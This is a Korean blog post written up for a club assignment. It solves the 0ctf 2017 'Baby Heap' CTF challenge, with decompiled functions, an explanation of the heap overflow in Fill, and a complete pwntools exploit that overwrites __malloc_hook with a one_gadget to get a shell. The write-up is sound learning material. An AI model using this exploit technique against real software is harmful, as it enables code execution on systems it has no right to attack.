SDJ( 수돈재 아님 ㅎ )

pwn - sf8-1 ( 0ctf Quals 2017 - Baby Heap ) 본문

write-up/동아리

pwn - sf8-1 ( 0ctf Quals 2017 - Baby Heap )

ShinDongJun 2020. 4. 30. 22:22

동아리 포너블 과제 sf8-1 exploit write up

 

이번 힙 과제는 0ctf Quals 2017에 나온 Baby Heap 문제 바이너리이다.

 

파일 다운로드

sf8-1.zip
0.00MB


와! 보호기법이 전부걸려있다. 

 

바로 바이너리 분석으로~

 

파일을 실행시키면 맨 처음 sub_B70함수로 임의의 주소에 mmap으로 0x1000만큼 할당을 해놓는다.

 

우리가 실행시킬 수 있는 메뉴는 크게 4가지가 존재한다.( 함수 이름은 내 맘대로 지었다. )

1. Allocate

2. Fill

3. Delete

4. Dump

 

먼저 Allocate부터 보자.

분석을 하다보면 입력을 받는 데이터가 구조체 배열로 이루어진것을 알 수 있는데

나는 구조체를 다음과 같이 정의했다.

struct note {
    int use_flag;
    int blank;
    long content_size;
    char *content_addr;
};

blank는 왜 넣었냐면 long use_flag로 퉁칠수도 있긴한데 아이다로 LODWORD(use_flag) = 1처럼 떠가지고 그냥 보기 편하게 하고 싶어서 저렇게 blank 변수를 넣었다. 의미는 없음

 

void __fastcall Allocate(note *a1, __int64 a2)
{
    int i; // [rsp+10h] [rbp-10h]
    int v3; // [rsp+14h] [rbp-Ch]
    void *v4; // [rsp+18h] [rbp-8h]

    for ( i = 0; i <= 15; ++i )
    {
        if ( !a1[i].use_flag )
        {
            printf("Size: ");
            v3 = read_long();
            if ( v3 > 0 )
            {
                if ( v3 > 0x1000 )
                    v3 = 0x1000;
                v4 = calloc(v3, 1uLL);
                if ( !v4 )
                    exit(-1);
                a1[i].use_flag = 1;
                a1[i].content_size = v3;
                a1[i].content_addr = v4;
                printf("Allocate Index %d\n", i);
            }
            return;
        }
    }
}

a1은 맨 처음에 mmap으로 할당한 주소고 배열처럼 정적으로 사용하는 듯하다.

 

size의 최대 길이는 0x1000이고 배열중 하나에 Allocate를 하면 use_flag에 1, contesnt_size에 입력받은 size, contest_addr에 주소를 넣어준다.

 

 

두번째로 Fill함수

__int64 __fastcall Fill(note *a1)
{
    __int64 result; // rax
    int v2; // [rsp+18h] [rbp-8h]
    int v3; // [rsp+1Ch] [rbp-4h]

    printf("Index: ");
    result = read_long();
    v2 = result;
    if ( result >= 0 && result <= 15 )
    {
        result = a1[result].use_flag;
        if ( result == 1 )
        {
            printf("Size: ");
            result = read_long();
            v3 = result;
            if ( result > 0 )
            {
                printf("Content: ");
                result = my_read(a1[v2].content_addr, v3);
            }
        }
    }
    return result;
}

여기서는 0~15 사이의 index를 입력하면 해당 배열의 ues_flag를 사용하는지 확인하고

use_flag가 1일 경우 새로운 size를 입력받고 size가 0보다 크면 read를 한다.

0이상 인지만 검사하고 우리가 note를 Allocate할 때 정해준 size와 비교하는 루틴이 없어서 BOF가 발생한다.

BOF가 발생하는 부분은 heap영역이다.

 

다음 Delete함수

note *__fastcall Delete(note *a1)
{
    note *result; // rax
    int v2; // [rsp+1Ch] [rbp-4h]

    printf("Index: ");
    result = read_long();
    v2 = result;
    if ( result >= 0 && result <= 15 )
    {
        result = a1[result].use_flag;
        if ( result == 1 )
        {
            a1[v2].use_flag = 0;
            a1[v2].content_size = 0LL;
            free(a1[v2].content_addr);
            result = &a1[v2];
            result->content_addr = 0LL;
        }
    }
    return result;
}

간단하게 use_flag가 1일 경우 use_flag과 content_size를 0으로 맞춰주고 content를 free시킨다.

free를 시킨후 content_addr를 0으로 맞춰서 double free를 못하게 만들었다.

 

 

마지막 Dump 함수

int __fastcall Dump(note *a1)
{
    int result; // eax
    int v2; // [rsp+1Ch] [rbp-4h]

    printf("Index: ");
    result = read_long();
    v2 = result;
    if ( result >= 0 && result <= 15 )
    {
        result = a1[result].use_flag;
        if ( result == 1 )
        {
            puts("Content: ");
            sub_130F(a1[v2].content_addr, a1[v2].content_size);
            result = puts(byte_14F1);
        }
    }
    return result;
}

use_flag가 1이면 content_size길이 만큼 출력을 해준다.

 

 

이제 익스를 하자.

먼저 우리가 찾은 취약점은 heap에서 발생하는 BOF만 쓸 수 있다.

 

만약 출력이 printf("%s")같은 함수였으면 free시키고 overflow로 출력할 수 있지만 정확히 size만큼만 출력을 해서 알 수 없다.

따라서 나는 chunk의 size를 조작해서 chunk를 overlap시켜서 fastbin dup으로 malloc_hook에 one_gadget을 뿌려주려고 한다.

 

1. 청크 A, B, C, D를 할당한다.

(내 기준 B의 chunk size를 0x90이상, C의 chunk size를 0x70으로 맞춰준다.)

( A는 B의 크기를 조작, B는 C의 fd를 조작하는 용도, D는 malloc_consolidate를 막기 위한 용도)

2. A의 Fill을 통해 B의 chunk와 D의 chunk가 물리적으로 이어져있는 것처럼 조작한다. ( C chunk overlap )

3. B를 free시킨다.

4. B의 원래크기만큼 다시 할당하면 libc값이 C chunk로 들어간다.

5. C에 적힌 libc값을 leak 하고 C의 원래 크기만큼 할당해서 bins를 비워준다.

6. C를 free시킨다.

7. B의 Fill을 통해 C의 fd를 &malloc_hook - 0x20 - 3으로 맞춰준다.

8. 0x70 chunk를 두번 할당(각각 E, F 청크)하면 F의 0x70 chunk가 malloc_hook을 덮는다.

9. F의 Fill을 통해 malloc_hook을 one_gadget으로 덮는다.

10. Alloc을 한다.

 

 

exploit code

from pwn import *

p = process("./sf8-1")

one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

def choice(idx):
	p.sendlineafter(": ", str(idx))

def Alloc(size):
	choice(1)
	p.sendlineafter(":", str(size))

def Fill(idx, size, content):
	choice(2)
	p.sendlineafter(": ", str(idx))
	p.sendlineafter(": ", str(size))
	p.sendlineafter(": ", str(content))

def Delete(idx):
	choice(3)
	p.sendlineafter("Index: ", str(idx))

def Dump(idx):
	choice(4)
	p.sendlineafter("Index: ", str(idx))

Alloc(0x10)				# A Alloc
Alloc(0x68+0x70)		# B Alloc
Alloc(0x68)				# C Alloc
Alloc(0x20)				# D Alloc

Fill(0, 0x20, 'a'*0x10+p64(0)+p64(0x151))
				# overlap C : chunk B -> chunk D

Delete(1)				# B free
Alloc(0x68+0x70)		# B Alloc

Dump(2)
p.recvuntil("Content: \n")
main_arena_88 = u64(p.recv(6).ljust(8,'\x00'))
malloc_hook = main_arena_88 - 88 - 0x10
libc_base = main_arena_88 - 0x3c4b78
print "main_arena_88 : " + hex(main_arena_88)
print "libc_base : " + hex(libc_base)

og = libc_base + one[1]
print "og : " + hex(og)

Alloc(0x68)				# C Alloc ( clear bins )
Delete(2)				# C free
pay = ''
pay += p64(0)*2*0xd
pay += p64(0)+p64(0x71)
pay += p64(malloc_hook-0x20-3)
Fill(1, len(pay), pay)	# C fd -> malloc_hook - 0x20 - 3
Alloc(0x68)				# E Alloc
Alloc(0x68)				# F Alloc -> overlap malloc_hook
pay = ''
pay += '\x00'*3
pay += p64(libc_base + 0x85e20) + p64(libc_base + 0x85a00)
pay += p64(og)
Fill(5, len(pay), pay)	# overwrite malloc_hook

choice(1)
p.sendlineafter(": ", str(1))	# call malloc -> one_gadget

p.interactive()

'write-up > 동아리' 카테고리의 다른 글

pwn - sf9 ( HITCON 2016 - Sleepy Holder )  (0) 2020.05.02
pwn - sf8-2 ( ASIS CTF Quals 2018 - Cat )  (0) 2020.05.01
pwn - sf7  (0) 2020.04.30
pwn - tomato (sf6)  (0) 2020.04.30
pwn - sf5  (0) 2020.04.30
Comments